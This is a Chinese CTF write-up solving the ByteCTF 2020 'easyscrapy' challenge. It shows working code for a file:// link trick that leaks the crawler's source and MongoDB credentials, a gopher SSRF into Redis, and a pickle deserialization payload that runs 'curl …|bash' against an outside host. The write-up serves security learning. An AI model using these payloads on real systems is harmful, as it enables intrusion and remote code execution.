ByteCTF2020-easyscrapy

这次ByteCTF的web题难度属实离谱。好几道题几乎都无法下手。自己第一天主要是看了easyscrapy以及配了beaker的环境(结果根本操作不起来,于是放弃了......)第二天上午在配scrapy的环境,一直到下午才出思路,基本上给我几小时就能出了。然而因为要赶飞机结果没时间做了......晚上到了后总归是把题目做出来了。只能说有点可惜,不然可以为小绿草拿个三/四血的。

这里我分享下自己一路下来的主要思路吧。希望能对他人有所帮助。另外写文章时环境已经关了,没啥图,将就着看吧

fuzz

首先题目本身给出了一个功能可以让我们输入url以及一个验证码,但是注意到这里cookie是flask的session,存储的内容与每次页面回显的验证码一致。所以首先我们可以找到减少后面的工作的方法,就是带上固定的cookie写脚本进行存储url的操作。

import string, hashlib
import requests
import re
import sys
import time

URL='http://39.102.69.151:30010/'


cookies={'session':'eyJjb2RlIjoiZTFiMmQ5IiwidXNlciI6IjVhNTkwZjVhLTE2ZjgtMTFlYi1hYThhLTAyNDJhYzE0MDAwNiJ9.X5XSBA.z2Nn4le-aOsM8jg82j7gMzfzhSc'}
def brute(code):
    a = string.digits + string.ascii_lowercase + string.ascii_uppercase
    for i in a:
        for j in a:
            for k in a:
                for m in a:
                    for n in a:
                        p = i + j + k + m + n
                        s = hashlib.md5(p.encode('utf-8')).hexdigest()[0:6]
                        if s == code:
                            print(p)
                            return p


def send():
    r=requests.get(URL,cookies=cookies)
    varify=re.findall(r'<span>substr\(md5\(\$str\), 0, 6\) === (.*)</span>',r.text)[0]
    return varify


def push(url,code):
    r=requests.post(url=URL+'push',cookies=cookies,data={'url':url,'code':code})
    print(r.text)
#code=brute(send())
#print(code)
push('http://120.27.246.202/',code)
#push('http://127.0.0.1:','0AUDp')

爆破一次后就可继续用了。

之后发现,当输入完url存储后,urllist中会存在我们刚刚输入的url。之后点击则会前往/result?url=xxxx.似乎是一个ssrf的点。

第一天上午的话,感觉爬什么都爬不到。但是当时往自己的vps上打的时候倒是有意外的发现
当时的笔记:


意外发现了scrapy_redis以及pycurl。正如上面所说,url数据似乎是被存到redis然后被爬虫给爬了。而后面/result?url则是动用了另一种功能进行pycurl的请求。

这里pycurl无疑是值得注意的,因为pycurl本质上似乎是跟调用curl一样的。那么可以使用gopher协议。

这样一来当然就想探测redis了。不过经过尝试,会发现没有任何回显。关于版本等等信息也是一无所知。

此时再次实验打自己,我发现当更换自己服务端的内容时,/result所显示的页面并没改变。

联系到上面的scrapy_redis,我们不难推测,scrapy会爬我们存储的那个url,并将当时的内容缓存(后面会发现是mongodb)。所以这就导致,反复用result页面请求url并不会改变回显内容。充其量调用了pycurl请求而已。

那么,到此我们对整个服务的构架有了大概的思路

  1. 存在爬虫bot
  2. 存在redis
  3. 可能存在某数据库
  4. pycurl 是web服务请求,scrapy_redis是爬虫bot请求

但是这些信息非常局限。首先只有存进redis的数据才会被爬虫请求,这里python没有crlf必然打不了redis.而pycurl虽然可以用gopher那一套打,但是内网信息未知,且没有回显。

这时我开始尝试性爬一些网站。讽刺的是baidu能爬它自己的bytedance爬不了2333. 然后爬本机127.0.0.1也完全没有内容(因为bot开了端口的服务实际上只有一个6023的telnet,打了会提前报错,一样无回显)

那么,不妨尝试下打它的公网ip?这时我发现一个奇怪的现象。
当我输入它的公网ip存进redis后,它除了本身,还读取了/list的页面。

那么这是为什么呢?我简单看了下页面。发现里面存在<a href="/list"></>
看来,爬虫端是会根据<a href="xxx"></a>进行进一步爬取.经过经典的实验打自己,发现的确它会顺着这个href进行请求。

此时已经知道href有猫腻了。然后出题人已经放出了第一个hint。就是尝试读源码。

那么我们不妨尝试下,顺着这个href+file协议进行源码的阅读?

leak source code

在自己的服务器上存储

<html><a href="file:///etc/passwd"></a></html>

接着上面的脚本跑一遍。一把梭解决问题。
再次访问/result。发现读到了/etc/passwd

既然如此,我们依次读下其他内容
/proc/self/cmdline

/bin/bash run.sh

/proc/self/environ
得知当前PWD是/code

/code/run.sh

#!/bin/bash
scrapy crawl byte

使用的是scrapy框架进行爬取。

此时开始自己盲目的读结果发现啥都没读到,想了想发现这个爬虫bot可能只有这么一个命令在运行。那么我应该去查找scrapy的文档
我们找到scrapy官方文档

显然我们只需读取scrapy.cfg就能拿到scrapy项目名并读取到下面所有文件。不过spider的名字似乎是自定义的


前面命令行执行的是scrapy crawl byte那么可以确认spider的name是byte.文件名也可能是byte.

# Automatically created by: scrapy startproject
#
# For more information about the [deploy] section see:
# https://scrapyd.readthedocs.io/en/latest/deploy.html

[settings]
default = bytectf.settings

[deploy]
#url = http://localhost:6800/
project = bytectf

其他内容也都一并读取。
完整的文件我会放自己github上。包括redis跟mongodb的docker

此时我通过pipelines.py与settings.py分别得到了mongodb与redis的配置

//pipelines.py
import pymongo

class BytectfPipeline:

    def __init__(self):

        MONGODB_HOST = '127.0.0.1'
        MONGODB_PORT = 27017
        MONGODB_DBNAME = 'result'
        MONGODB_TABLE = 'result'
        MONGODB_USER = 'N0rth3'
        MONGODB_PASSWD = 'E7B70D0456DAD39E22735E0AC64A69AD'
        mongo_client = pymongo.MongoClient("%s:%d" % (MONGODB_HOST, MONGODB_PORT))
        mongo_client[MONGODB_DBNAME].authenticate(MONGODB_USER, MONGODB_PASSWD, MONGODB_DBNAME)
        mongo_db = mongo_client[MONGODB_DBNAME]
        self.table = mongo_db[MONGODB_TABLE]



    def process_item(self, item, spider):

        quote_info = dict(item)
        print(quote_info)
        self.table.insert(quote_info)
        return item
//settings.py
BOT_NAME = 'bytectf'
SPIDER_MODULES = ['bytectf.spiders']
NEWSPIDER_MODULE = 'bytectf.spiders'
RETRY_ENABLED = False
ROBOTSTXT_OBEY = False
DOWNLOAD_TIMEOUT = 8
USER_AGENT = 'scrapy_redis'
SCHEDULER = "scrapy_redis.scheduler.Scheduler"
DUPEFILTER_CLASS = "scrapy_redis.dupefilter.RFPDupeFilter"
REDIS_HOST = '172.20.0.7'
REDIS_PORT = 6379
ITEM_PIPELINES = {
 'bytectf.pipelines.BytectfPipeline': 300,
}

以及主要的爬虫逻辑。知道了文件读取的漏洞所在

import scrapy
import re
import base64
from scrapy_redis.spiders import RedisSpider
from bytectf.items import BytectfItem

class ByteSpider(RedisSpider):
    name = 'byte'

    def parse(self, response):
        byte_item = BytectfItem()
        byte_item['byte_start'] = response.request.url
        url_list = []
        test = response.xpath('//a/@href').getall()
        for i in test:
            if i[0] == '/':
                url = response.request.url + i
            else:
                url = i
            if re.search(r'://',url):
                r = scrapy.Request(url,callback=self.parse2,dont_filter=True)
                r.meta['item'] = byte_item
                yield r
            url_list.append(url)
            if(len(url_list)>3):
                break
        byte_item['byte_url'] = response.request.url
        byte_item['byte_text'] = base64.b64encode((response.text).encode('utf-8'))
        yield byte_item

    def parse2(self,response):
        item = response.meta['item']
        item['byte_url'] = response.request.url
        item['byte_text'] = base64.b64encode((response.text).encode('utf-8'))
        yield item

可是这有什么用呢......我们一样不知道flag在哪。目前看来,如果flag在bot机器上,那么只有可能会是打redis。并且按照我自己的少数经验,一般是搭配pickle反序列化rce才有可能。但是这里并没有明显的pickle反序列化代码。

此时陷入僵局,只有本地调试一下看看有没有意外发生了。

Run it locally

这道题最重要的一点恐怕就是本地跑了。毕竟此时我们对环境一无所知,我唯一能想到的getshell方法也只有pickle反序列化了。那么试试本地,看看有没有键存了pickle序列化后的数据?这样一来必然有某个地方存在反序列化。

经过一番折腾后。我简单写了个起mongodb的docker.因为redis跟爬虫本地起比较轻松,我又不想改代码。
(后面比赛结束时写了个完整版的,直接起应该跟线上的bot+redis+mongo环境基本一致了)
docker-compose.yml

version: '3'
services:
    mongodb:
      image: mongo:4.2
      container_name: py_db
      restart: always
      environment:
        MONGO_INITDB_ROOT_USERNAME: root
        MONGO_INITDB_ROOT_PASSWORD: root 
        MONGO_INITDB_DATABASE: result
      volumes:
        - ./mongo-init.js:/docker-entrypoint-initdb.d/mongo-init.js:ro

同目录下mongo-init.js

var data={"test":"123"}//just for test
db.result.drop();
db.result.insert(data);
db.createUser({
    user: "N0rth3",
    pwd:  "E7B70D0456DAD39E22735E0AC64A69AD",
    roles: [ { role: "readWrite", db: "result", collection:"result" }]
});

简单改下爬虫的redis/mongodb ip ,就能开跑了


然后此时我发现一点动静的都没有。感觉非常奇怪。倒是看到scrapy它在准备读byte:start_urls

既然如此那set byte:start_urls xxx试试看好了。结果突然发现爬虫直接异常退出?

看了下报错。似乎是在执行redis的LPOP操作报错的。那可能是数据类型的问题了。找了下一篇文章发现了原因。

https://blog.csdn.net/zwq912318834/article/details/78854571
它爬虫的逻辑跟我们的基本一致。属于分布式爬虫。即等待redis中出现redis_key再进行爬取。
而这里因为不是简单的从字符串进行读取,而是从一个队列里读一个元素。那么自然不会读到内容了。

期间,转战虚拟机起服务。这一次我们用脚本写入数据。其实就是执行lpush而已。

#!/usr/bin/env python
# -*- coding:utf-8 -*-

import redis

redis_Host = "127.0.0.1"
redis_key = 'byte:start_urls'
rediscli = redis.Redis(host = redis_Host, port = 6379, db = "0")
rediscli.lpush(redis_key, "http://www.baidu.com")

这时就可以成功写入,爬取数据,并将数据存进mongodb。
这里我再尝试打一遍redis跟mongodb。发现跟服务端远程是一致的。打redis会提前报错终止,打mongodb会有回显


不过这里redis因为lpop这个操作。导致我写入的这个list很快就会消失。它存的也不是pickle数据。那么要怎么rce?此时再度陷入僵局

此时官方放出第三个hint scrapy_redis,题目仍是0解。我开始想scrapy_redis我第一天上午就发现了还需要提示?但是转念想会不会我想要的pickle操作存在于scrapy_redis呢?

https://github.com/rmax/scrapy-redis

于是。我用scrapy-redis github上的example-project跑了遍。这个demo是指定了url一直在爬的。于是当我连进redis时,我发现了3个键。并且当我查看他们的时候,终于发现了心心念念的内容也就是pickle的序列化数据。


既然存在pickle序列化的数据。那么必然某个地方会反序列化它。这样一来rce的链条立马就清楚了。设置键 -> pickle rce 跟pwnhub6月赛差不多了。

但是本地为什么没有byte:requests出现呢?我怀疑是因为每次只传入一个url。导致存活时间极短。那么我们不妨用大量数据填充进redis。方法也很简单,上面的脚本加个for循环200次就好了。然后我们在redis里执行几次看看zrange byte:requests 0 1

既然如此。利用链就清楚了:想办法写入byte:requests键,内容为序列化数据。
而写入键唯有pycurl的ssrf可以做到。

下面就是利用了

ssrf -> rce exploit

这里我们首先尝试一下直接写入byte:requests会怎么样。然后惊喜的发现只要写入就会直接触发反序列化。那么也就是说直接利用/result?url就可以打了。

然后推测一波版本,这里我打远程用的protocol协议为2.0的pickle成功了。当时getshell没看python版本,估计是2.7.(scrapy 一般在2.7 或3.5/3.6跑)

一个比较头疼的点是如何写入opcode的16进制数据。之前pwnhub6月赛时写pickle数据是因为crlf比较简单。可以直接加个引号括起来写。这里我们只能gopher打。那么转数据时出了不少麻烦。最后我简单改了下redis-ssrf这个脚本的内容。用python2 跑。确认它不会像python3那样自动转义我的16进制字符串。终于构造出可以打的payload

python3 运行以得到pickle 16进制序列化数据。py2的直接写貌似有点问题。

import pickle
import os

class exp(object):
    def __reduce__(self):
        s = """curl 120.27.246.202|bash"""
        return (os.system, (s,))

e = exp()
s = pickle.dumps(e,protocol=2)
print(s)

python2 运行 convert.py
注意我们执行的是zadd。因为之前本地已经知道了requests是zset类型数据。

from urllib import quote

def set_key(key,payload):
    cmd=[
    "zadd {0} 1 {1}".format(key,payload),
    "quit"
    ]
    return cmd

def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x)))+CRLF+x
    cmd+=CRLF
    return cmd


def generate_payload():
    key = "byte:requests"
    payload ="""\x80\x02cposix\nsystem\nq\x00X\x18\x00\x00\x00curl 120.27.246.202|bashq\x01\x85q\x02Rq\x03.""".replace(' ','\x12')
    cmd=set_key(key,payload)
    protocol="gopher://"

    ip="172.20.0.7"
    port="6379"

    payload=protocol+ip+":"+port+"/_"

    for x in cmd:
        payload += quote(redis_format(x).replace("^"," "))
    return payload

if __name__=="__main__":
    passwd = ''
    p=generate_payload()
    print(p.replace('%12','%20'))

一个小坑是我的空格总是会被错转。于是干脆先把空格填充一下最后再换回%20即可。

打本地成了后,远程必然没有问题了。
最后因为get传参,我们注意二次url编码即可。执行命令curl xxx|bash
(读文件确认有bash,pycurl确认有curl,同时之前把命令往tmp下写时发现有readflag)

getshell :)


summary

所以非常可惜。利用链想好后结果去赶飞机错过了比赛中解出的机会。不过思路还是很考验人的。题目质量很高。就是本地环境有点磨人。。。

最后分享下我按照源码搭好的docker环境。可自取。
https://github.com/baiyecha404/CTFWEBchallenge/tree/master/bytectf2020/easyscrapy

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,311评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,339评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,671评论 0 342
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,252评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,253评论 5 371
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,031评论 1 285
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,340评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,973评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,466评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,937评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,039评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,701评论 4 323
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,254评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,259评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,485评论 1 262
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,497评论 2 354
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,786评论 2 345